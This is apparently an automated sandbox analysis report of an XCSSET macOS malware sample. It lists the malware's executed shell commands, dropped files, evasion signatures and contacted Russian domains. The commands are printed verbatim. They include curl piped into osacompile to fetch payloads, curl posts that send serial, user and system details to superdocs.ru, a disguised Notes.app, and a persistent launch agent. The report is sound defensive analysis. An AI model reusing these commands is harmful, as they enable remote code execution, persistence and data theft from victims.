    Source: /bin/bash (PID: 993)Rm executable: /bin/rm -> rm -f /Users/pedro/Library/LaunchAgents/com.apple.airplay.plistJump to behavior
    Source: /bin/bash (PID: 994)Rm executable: /bin/rm -> rm -f /Users/pedro/Library/LaunchAgents/com.apple.spx.plistJump to behavior
    Source: /bin/bash (PID: 995)Rm executable: /bin/rm -> rm -f /Users/pedro/Library/LaunchAgents/com.apple.spx.plistJump to behavior
    Source: /bin/bash (PID: 996)Rm executable: /bin/rm -> rm -f /Users/pedro/Library/LaunchAgents/com.google.keystore.plistJump to behavior
    Source: /bin/bash (PID: 997)Rm executable: /bin/rm -> rm -f /Users/pedro/Library/LaunchAgents/com.google.keystore.plistJump to behavior
    Source: /bin/bash (PID: 998)Rm executable: /bin/rm -> rm -f /Users/pedro/Library/LaunchAgents/com.google.chrome.plistJump to behavior
    Source: /bin/bash (PID: 999)Rm executable: /bin/rm -> rm -f /Users/pedro/Library/LaunchAgents/com.google.chrome.plistJump to behavior
    Source: /bin/bash (PID: 1006)Rm executable: /bin/rm -> rm -f /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/applet.icnsJump to behavior
    Source: /bin/bash (PID: 1030)Rm executable: /bin/rm -> rm -rf /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/ContainersJump to behavior
    Source: /bin/sh (PID: 1028)Shell process: sh -c osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/a.scpt'Jump to behavior
    Source: /bin/sh (PID: 1029)Shell process: sh -c ping -o -t 3 superdocs.ruJump to behavior
    Source: /bin/sh (PID: 1030)Shell process: sh -c rm -rf '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers'Jump to behavior
    Source: /bin/sh (PID: 1031)Shell process: sh -c mkdir -p '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers'Jump to behavior
    Source: /bin/sh (PID: 1032)Shell process: sh -c whoamiJump to behavior
    Source: /bin/sh (PID: 1033)Shell process: sh -c curl -sk -d 'user=pedro&build_vendor=default&build_version=1.1.5' https://superdocs.ru/apple/com.php | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a'Jump to behavior
    Source: /bin/sh (PID: 1036)Shell process: sh -c osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a' > /dev/null 2>&1Jump to behavior
    Source: /bin/sh (PID: 1038)Shell process: sh -c whoamiJump to behavior
    Source: /bin/sh (PID: 1039)Shell process: sh -c ping -o -t 3 superdocs.ruJump to behavior
    Source: /bin/sh (PID: 1040)Shell process: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/sh (PID: 1043)Shell process: sh -c curl -k -s --connect-timeout 14 -d 'module launched. connRetries: 0. Used domain: superdocs.ru' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /bin/sh (PID: 1044)Shell process: sh -c mkdir -p ~/Library/Caches/GitServices/ && touch ~/Library/Caches/GitServices/.edJump to behavior
    Source: /bin/sh (PID: 1048)Shell process: sh -c (plutil -p ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist | grep 'https' -b3 |awk 'NR==3 {split($4, arr, '\'') print arr[2]}') || echo 'com.apple.safari'Jump to behavior
    Source: /bin/sh (PID: 1053)Shell process: sh -c defaults read loginwindow SystemVersionStampAsStringJump to behavior
    Source: /bin/sh (PID: 1054)Shell process: sh -c defaults read /Applications/Safari.app/Contents/Info CFBundleShortVersionStringJump to behavior
    Source: /bin/sh (PID: 1056)Shell process: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/sh (PID: 1059)Shell process: sh -c defaults read /Library/Preferences/com.apple.alf globalstateJump to behavior
    Source: /bin/sh (PID: 1060)Shell process: sh -c csrutil status | grep -q enabled && echo 1 || echo 0Jump to behavior
    Source: /bin/sh (PID: 1063)Shell process: sh -c sysctl -n machdep.cpu.brand_stringJump to behavior
    Source: /bin/sh (PID: 1064)Shell process: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/sh (PID: 1067)Shell process: sh -c curl -k -s --connect-timeout 14 -d 'MacOS version: 12.5, en_CH. Serial: C07GV0KZPJH8. Firewall: 0. SIP: 0, Safari: 15.6, CPU: Intel(R) Core(TM) i5-8500B CPU @ 3.00GHz Default browser: com.apple.safari' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /bin/sh (PID: 1068)Shell process: sh -c ps aux | grep -E 'com.apple.net|com.utils.core|com.metal.core|agentde|canaryde|operade|speedde|edegede|firefoxde|yandexde|avatarde|bravede' | grep -v grep | awk '{print $2}' | xargs kill -9Jump to behavior
    Source: /bin/sh (PID: 1074)Shell process: sh -c echo 'superdocs.ru' > ~/Library/Caches/GitServices/.domainJump to behavior
    Source: /bin/sh (PID: 1075)Shell process: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/sh (PID: 1078)Shell process: sh -c curl -k -s --connect-timeout 14 -d 'updated .domain with superdocs.ru' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /bin/sh (PID: 1079)Shell process: sh -c echo ~/Library/Caches/GitServices/.repJump to behavior
    Source: /bin/sh (PID: 1080)Shell process: sh -c date -r '/Users/pedro/Library/Caches/GitServices/.rep' +'%s' || echo 9999999999Jump to behavior
    Source: /bin/sh (PID: 1082)Shell process: sh -c date +'%s'Jump to behavior
    Source: /bin/sh (PID: 1083)Shell process: sh -c [ -d /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/ ] && echo '1' || echo '0'Jump to behavior
    Source: /bin/sh (PID: 1084)Shell process: sh -c mkdir -p '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/'Jump to behavior
    Source: /bin/sh (PID: 1085)Shell process: sh -c curl -sk -d 'user=pedro' https://superdocs.ru/agent/scripts/remove_old.applescript | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sound.app'Jump to behavior
    Source: /usr/bin/osacompile (PID: 1001)File written: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/appletJump to dropped file
    Source: /usr/bin/codesign (PID: 1002)File written: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet.cstempJump to dropped file
    Source: /bin/bash (PID: 1042)Awk executable: /usr/bin/awk -> awk -F' /IOPlatformSerialNumber/{print $(NF-1)}Jump to behavior
    Source: /bin/bash (PID: 1052)Awk executable: /usr/bin/awk -> awk NR==3 {split($4, arr, '\'') print arr[2]}Jump to behavior
    Source: /bin/bash (PID: 1058)Awk executable: /usr/bin/awk -> awk -F' /IOPlatformSerialNumber/{print $(NF-1)}Jump to behavior
    Source: /bin/bash (PID: 1066)Awk executable: /usr/bin/awk -> awk -F' /IOPlatformSerialNumber/{print $(NF-1)}Jump to behavior
    Source: /bin/bash (PID: 1072)Awk executable: /usr/bin/awk -> awk {print $2}Jump to behavior
    Source: /bin/bash (PID: 1077)Awk executable: /usr/bin/awk -> awk -F' /IOPlatformSerialNumber/{print $(NF-1)}Jump to behavior
    Source: /usr/bin/osacompile (PID: 1001)XML plist file created: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Info.plist
    Source: /usr/bin/codesign (PID: 1002)XML plist file created: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/_CodeSignature/CodeResourcesJump to dropped file
    Source: /usr/bin/plutil (PID: 1005)XML plist file created: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Info.plistJump to dropped file
    Source: /bin/bash (PID: 1016)XML plist file created: /private/var/tmp/sh-thd-4984109211Jump to dropped file
    Source: /bin/cat (PID: 1016)XML plist file created: /Users/pedro/Library/LaunchAgents/com.apple.spx.plistJump to dropped file
    Source: /bin/cp (PID: 1007)Icon File created: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/applet.icnsJump to behavior
    Source: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet (PID: 1023)AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plistJump to behavior
    Source: /usr/bin/osacompile (PID: 1001)Random device file read: /dev/randomJump to behavior
    Source: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet (PID: 1023)Random device file read: /dev/randomJump to behavior
    Source: /usr/bin/osascript (PID: 1028)Random device file read: /dev/randomJump to behavior
    Source: /usr/bin/osacompile (PID: 1035)Random device file read: /dev/randomJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Random device file read: /dev/randomJump to behavior
    Source: /bin/bash (PID: 1016)Launch agent/daemon created with KeepAlive and/or RunAtLoad, file created: /Users/pedro/Library/LaunchAgents/com.apple.spx.plistJump to behavior
    Source: /bin/bash (PID: 1016)Launch agent created File created: /Users/pedro/Library/LaunchAgents/com.apple.spx.plistJump to behavior

    Hooking and other Techniques for Hiding and Protection

    barindex
    Creates launch services redirecting its stdout/stderr to /dev/null (probably to hide errors)
    Source: /bin/bash (PID: 1016)Launch agent/daemon created with StandardOutPath/StandardErrorPath, file created: /Users/pedro/Library/LaunchAgents/com.apple.spx.plistJump to behavior
    Written Apple script contain uncommon file extension (probably to disguise the script)
    Source: /usr/bin/osacompile (PID: 1001)Uncommon extension: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/main.scptJump to dropped file
    Source: /usr/bin/osacompile (PID: 1035)Uncommon extension: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/aJump to dropped file
    Sets the property list key LSUIElement for running apps in the background without appearing in the Dock
    Source: /bin/bash (PID: 1005)Plutil executable with LSUIElement: /usr/bin/plutil plutil -replace LSUIElement -bool YES /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Info.plistJump to behavior
    Copies icons from applications possibly to disguise malicious intentions
    Source: /bin/bash (PID: 1007)Copies icon files from applications dir: /bin/cp -> cp -f /System/Applications/Notes.app/Contents/Resources/AppIcon.icns /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/applet.icnsJump to behavior
    Writes Mach-O files to disk with suspicious names (probably to obfuscate its intention)
    Source: /usr/bin/osacompile (PID: 1001)File written: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet -> with keyword 'Notes'Jump to dropped file
    Source: /usr/bin/codesign (PID: 1002)File written: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet.cstemp -> with keyword 'Notes'Jump to dropped file
    Source: /usr/bin/osacompile (PID: 1001)Reads from a resource fork: /usr/bin/osacompile/..namedfork/rsrcJump to behavior
    Source: /usr/bin/osascript (PID: 1028)Reads from a resource fork: /usr/bin/osascript/..namedfork/rsrcJump to behavior
    Source: /usr/bin/osascript (PID: 1028)Reads from a resource fork: /usr/bin/osascript/..namedfork/rsrcJump to behavior
    Source: /usr/bin/osacompile (PID: 1035)Reads from a resource fork: /usr/bin/osacompile/..namedfork/rsrcJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Reads from a resource fork: /usr/bin/osascript/..namedfork/rsrcJump to behavior
    Source: exec.2430808Submission file: section __data with 7.9861 entropy (max. 8.0)
    Source: /bin/bash (PID: 1016)Launch agent created File created: /Users/pedro/Library/LaunchAgents/com.apple.spx.plistJump to behavior

    Malware Analysis System Evasion

    barindex
    Likely queries the I/O Kit registry to detect VMs by querying the "IOPlatformExpertDevice" class
    Source: /bin/bash (PID: 1041)IOreg executable: /usr/sbin/ioreg ioreg -c IOPlatformExpertDevice -d 2Jump to behavior
    Source: /bin/bash (PID: 1057)IOreg executable: /usr/sbin/ioreg ioreg -c IOPlatformExpertDevice -d 2Jump to behavior
    Source: /bin/bash (PID: 1065)IOreg executable: /usr/sbin/ioreg ioreg -c IOPlatformExpertDevice -d 2Jump to behavior
    Source: /bin/bash (PID: 1076)IOreg executable: /usr/sbin/ioreg ioreg -c IOPlatformExpertDevice -d 2Jump to behavior
    Source: applet, 00001023.00000508.1.000000010ffea000.000000010fff6000.r--.sdmpBinary or memory string: framework.vmnet
    Source: applet, 00001023.00000508.1.000000010ffea000.000000010fff6000.r--.sdmpBinary or memory string: framework.vmnet$

    HIPS / PFW / Operating System Protection Evasion

    barindex
    Executes the "csrutil" command used to retrieve or modify the "System Integrity Protection" configuration
    Source: /bin/bash (PID: 1061)Csrutil executable: /usr/bin/csrutil csrutil statusJump to behavior
    Source: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet (PID: 1023)Sysctl read request: kern.safeboot (1.66)Jump to behavior
    Source: /usr/bin/osacompile (PID: 1001)Codesign executable: /usr/bin/codesign codesign --sign - --force --deep .Jump to behavior

    Language, Device and Operating System Detection

    barindex
    Queries the unique Apple serial number of the machine
    Source: /usr/bin/osascript (PID: 1037)IOPlatformSerialNumber keyword found in command: /bin/sh sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/sh (PID: 1040)IOPlatformSerialNumber keyword found in command: /bin/bash sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/bash (PID: 1042)IOPlatformSerialNumber keyword found in command: /usr/bin/awk awk -F' /IOPlatformSerialNumber/{print $(NF-1)}Jump to behavior
    Source: /bin/sh (PID: 1056)IOPlatformSerialNumber keyword found in command: /bin/bash sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/bash (PID: 1058)IOPlatformSerialNumber keyword found in command: /usr/bin/awk awk -F' /IOPlatformSerialNumber/{print $(NF-1)}Jump to behavior
    Source: /bin/sh (PID: 1064)IOPlatformSerialNumber keyword found in command: /bin/bash sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/bash (PID: 1066)IOPlatformSerialNumber keyword found in command: /usr/bin/awk awk -F' /IOPlatformSerialNumber/{print $(NF-1)}Jump to behavior
    Source: /bin/sh (PID: 1075)IOPlatformSerialNumber keyword found in command: /bin/bash sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/bash (PID: 1077)IOPlatformSerialNumber keyword found in command: /usr/bin/awk awk -F' /IOPlatformSerialNumber/{print $(NF-1)}Jump to behavior
    Source: /bin/bash (PID: 1041)IOreg executable: /usr/sbin/ioreg ioreg -c IOPlatformExpertDevice -d 2Jump to behavior
    Source: /bin/bash (PID: 1057)IOreg executable: /usr/sbin/ioreg ioreg -c IOPlatformExpertDevice -d 2Jump to behavior
    Source: /bin/bash (PID: 1065)IOreg executable: /usr/sbin/ioreg ioreg -c IOPlatformExpertDevice -d 2Jump to behavior
    Source: /bin/bash (PID: 1076)IOreg executable: /usr/sbin/ioreg ioreg -c IOPlatformExpertDevice -d 2Jump to behavior
    Source: /bin/bash (PID: 957)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 957)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1020)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1028)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1029)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1030)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1031)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1032)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1033)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1036)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1038)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1039)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1040)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1043)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1044)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1048)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1053)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1054)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1056)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1059)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1060)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1063)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1064)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1067)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1068)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1074)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1075)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1078)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1079)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1080)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1082)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1083)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1084)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 1085)Sysctl requested: kern.hostname (1.10)Jump to behavior
    Source: /bin/bash (PID: 978)Defaults executable: /usr/bin/defaults defaults read loginwindow SystemVersionStampAsStringJump to behavior
    Source: /bin/bash (PID: 1053)Defaults executable: /usr/bin/defaults defaults read loginwindow SystemVersionStampAsStringJump to behavior
    Source: /usr/bin/codesign (PID: 1002)Sysctl read request: hw.ncpu (6.3)Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Sysctl read request: hw.memsize (6.24)Jump to behavior
    Source: /bin/ps (PID: 1069)Sysctl read request: hw.memsize (6.24)Jump to behavior
    Source: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet (PID: 1023)System or server version plist file read: /System/Library/CoreServices/SystemVersion.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1037)System or server version plist file read: /System/Library/CoreServices/SystemVersion.plistJump to behavior
    Source: /bin/bash (PID: 978)Defaults executable: /usr/bin/defaults defaults read loginwindow SystemVersionStampAsStringJump to behavior
    Source: /bin/bash (PID: 1053)Defaults executable: /usr/bin/defaults defaults read loginwindow SystemVersionStampAsStringJump to behavior
    Source: /bin/bash (PID: 1054)Defaults executable: /usr/bin/defaults defaults read /Applications/Safari.app/Contents/Info CFBundleShortVersionStringJump to behavior
    Source: /bin/bash (PID: 1059)Defaults executable: /usr/bin/defaults defaults read /Library/Preferences/com.apple.alf globalstateJump to behavior

    Stealing of Sensitive Information

    barindex
    Yara detected XCSSET
    Source: Yara matchFile source: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a, type: DROPPED
    Sends data within HTTP X-headers likely leaking sensitive information
    Source: /bin/bash (PID: 982)Curl X-headers using -H: /usr/bin/curl -> curl -ks -m 5 -H X-Usr: pedro https://melindas.ru/sys/prepod.phpJump to behavior
    Source: /bin/bash (PID: 1043)Curl X-headers using -H: /usr/bin/curl -> curl -k -s --connect-timeout 14 -d module launched. connRetries: 0. Used domain: superdocs.ru -H X-Id: C07GV0KZPJH8 -H X-Users: pedro -H X-Mod: bootstrap https://superdocs.ru/lJump to behavior
    Source: /bin/bash (PID: 1067)Curl X-headers using -H: /usr/bin/curl -> curl -k -s --connect-timeout 14 -d MacOS version: 12.5, en_CH. Serial: C07GV0KZPJH8. Firewall: 0. SIP: 0, Safari: 15.6, CPU: Intel(R) Core(TM) i5-8500B CPU @ 3.00GHz Default browser: com.apple.safari -H X-Id: C07GV0KZPJH8 -H X-Users: pedro -H X-Mod: bootstrap https://superdocs.ru/lJump to behavior
    Source: /bin/bash (PID: 1078)Curl X-headers using -H: /usr/bin/curl -> curl -k -s --connect-timeout 14 -d updated .domain with superdocs.ru -H X-Id: C07GV0KZPJH8 -H X-Users: pedro -H X-Mod: bootstrap https://superdocs.ru/lJump to behavior

    Remote Access Functionality

    barindex
    Yara detected XCSSET
    Source: Yara matchFile source: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a, type: DROPPED

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid Accounts1
    Scripting    		1
    LC_LOAD_DYLIB Addition    		1
    LC_LOAD_DYLIB Addition    		1
    Disable or Modify Tools    		OS Credential Dumping361
    System Information Discovery    		Remote ServicesData from Local System1
    Exfiltration Over Alternative Protocol    		3
    Ingress Tool Transfer    		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default Accounts1
    Command and Scripting Interpreter    		1
    Plist Modification    		1
    Plist Modification    		1
    File and Directory Permissions Modification    		LSASS Memory11
    Security Software Discovery    		Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth1
    Encrypted Channel    		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain Accounts1
    Launchctl    		15
    Launch Agent    		15
    Launch Agent    		1
    Scripting    		Security Account Manager1
    Virtualization/Sandbox Evasion    		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration4
    Non-Application Layer Protocol    		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local Accounts3
    AppleScript    		13
    Launch Daemon    		13
    Launch Daemon    		1
    Obfuscated Files or Information    		NTDS1
    Process Discovery    		Distributed Component Object ModelInput CaptureScheduled Transfer5
    Application Layer Protocol    		SIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script2
    Code Signing    		LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
    Replication Through Removable MediaLaunchdRc.commonRc.common2
    File Deletion    		Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
    External Remote ServicesScheduled TaskStartup ItemsStartup Items31
    Masquerading    		DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
    Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
    Virtualization/Sandbox Evasion    		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
    Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)2
    Hidden Files and Directories    		/etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
    Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)1
    Indicator Removal on Host    		Network SniffingProcess DiscoveryTaint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Number of created Files
    • Shell
    • Is malicious
    • Internet
    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 176612 Sample: exec.2430808 Startdate: 24/08/2022 Architecture: MAC Score: 100 109 melindas.ru 45.82.153.92, 443, 49301, 49302 GLAVREGIONELEKTROSVYAZ-ASRU Russian Federation 2->109 111 superdocs.ru 2->111 113 Yara detected XCSSET 2->113 13 xpcproxy bash 2->13         started        15 mono-sgen64 sudo 2->15         started        signatures3 process4 process5 17 bash applet 13->17         started        19 sudo exec.2430808 bash exec.2430808 bash 6 15->19         started        process6 21 sh bash osascript 17->21         started        23 bash osacompile 1 19->23         started        27 bash cat 2 19->27         started        29 bash plutil 19->29         started        31 43 other processes 19->31 file7 33 sh bash 21->33         started        35 sh bash 21->35         started        37 sh bash ping 21->37         started        49 3 other processes 21->49 95 /Users/pedro/Libra...s/Scripts/main.scpt, data 23->95 dropped 97 /Users/pedro/Libra...ntents/MacOS/applet, Mach-O 23->97 dropped 131 Written Apple script contain uncommon file extension (probably to disguise the script) 23->131 133 Writes compiled Apple script to disk (with potentially malicious intention) 23->133 135 Writes Mach-O files to disk with suspicious names (probably to obfuscate its intention) 23->135 137 Writes Mach-O files to untypical directories 23->137 39 codesign 2 23->39         started        99 /Users/pedro/Libra...com.apple.spx.plist, XML 27->99 dropped 139 Creates launch services redirecting its stdout/stderr to /dev/null (probably to hide errors) 27->139 101 /Users/pedro/Libra...Contents/Info.plist, XML 29->101 dropped 141 Sets the property list key LSUIElement for running apps in the background without appearing in the Dock 29->141 103 /Users/pedro/Libra...sources/applet.icns, data 31->103 dropped 143 Copies icons from applications possibly to disguise malicious intentions 31->143 145 Tries to delete plist files with Apple identifiers 31->145 43 bash curl 31->43         started        45 bash xxd 31->45         started        47 bash xxd 31->47         started        51 14 other processes 31->51 signatures8 process9 file10 53 bash osascript 33->53         started        56 bash osacompile 1 35->56         started        59 bash curl 35->59         started        105 /Users/pedro/Libra...MacOS/applet.cstemp, Mach-O 39->105 dropped 147 Writes Mach-O files to disk with suspicious names (probably to obfuscate its intention) 39->147 149 Writes Mach-O files to untypical directories 39->149 151 Sends data within HTTP X-headers likely leaking sensitive information 43->151 signatures11 process12 file13 115 Likely kills multiple processes 53->115 117 Searches for processes that are suspiciously named 53->117 119 Queries the unique Apple serial number of the machine 53->119 61 sh bash 53->61         started        64 sh bash 53->64         started        66 sh bash 53->66         started        68 21 other processes 53->68 107 /Users/pedro/Libra...cripts/Containers/a, data 56->107 dropped 121 Written Apple script contain uncommon file extension (probably to disguise the script) 56->121 123 Writes compiled Apple script to disk (with potentially malicious intention) 56->123 signatures14 process15 signatures16 153 Queries the unique Apple serial number of the machine 61->153 70 bash ioreg 61->70         started        73 bash awk 61->73         started        75 bash ioreg 64->75         started        77 bash awk 64->77         started        79 bash ioreg 66->79         started        81 bash awk 66->81         started        155 Sends data within HTTP X-headers likely leaking sensitive information 68->155 157 Likely kills multiple processes 68->157 159 Searches for processes that are suspiciously named 68->159 83 bash csrutil 68->83         started        85 bash ioreg 68->85         started        87 12 other processes 68->87 process17 signatures18 125 Likely queries the I/O Kit registry to detect VMs by querying the "IOPlatformExpertDevice" class 70->125 127 Queries the unique Apple serial number of the machine 73->127 129 Executes the "csrutil" command used to retrieve or modify the "System Integrity Protection" configuration 83->129 89 bash plutil 87->89         started        91 bash grep 87->91         started        93 bash awk 87->93         started        process19

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    cam-macmac-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    ⊘No Antivirus matches

    Dropped Files

    ⊘No Antivirus matches

    Domains

    ⊘No Antivirus matches

    URLs

    ⊘No Antivirus matches

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    superdocs.ru
    		45.82.153.92
    		truetrue
      		unknown
      melindas.ru
      		45.82.153.92
      		truetrue
        		unknown

        Contacted URLs

        NameMaliciousAntivirus DetectionReputation
        https://superdocs.ru/agent/bin/icons.php?icon=Remindersfalse
          		unknown
          https://superdocs.ru/ltrue
            		unknown
            https://melindas.ru/true
              		unknown
              https://superdocs.ru/agent/scripts/payloader.applescriptfalse
                		unknown
                https://superdocs.ru/agent/scripts/notes_app.applescriptfalse
                  		unknown
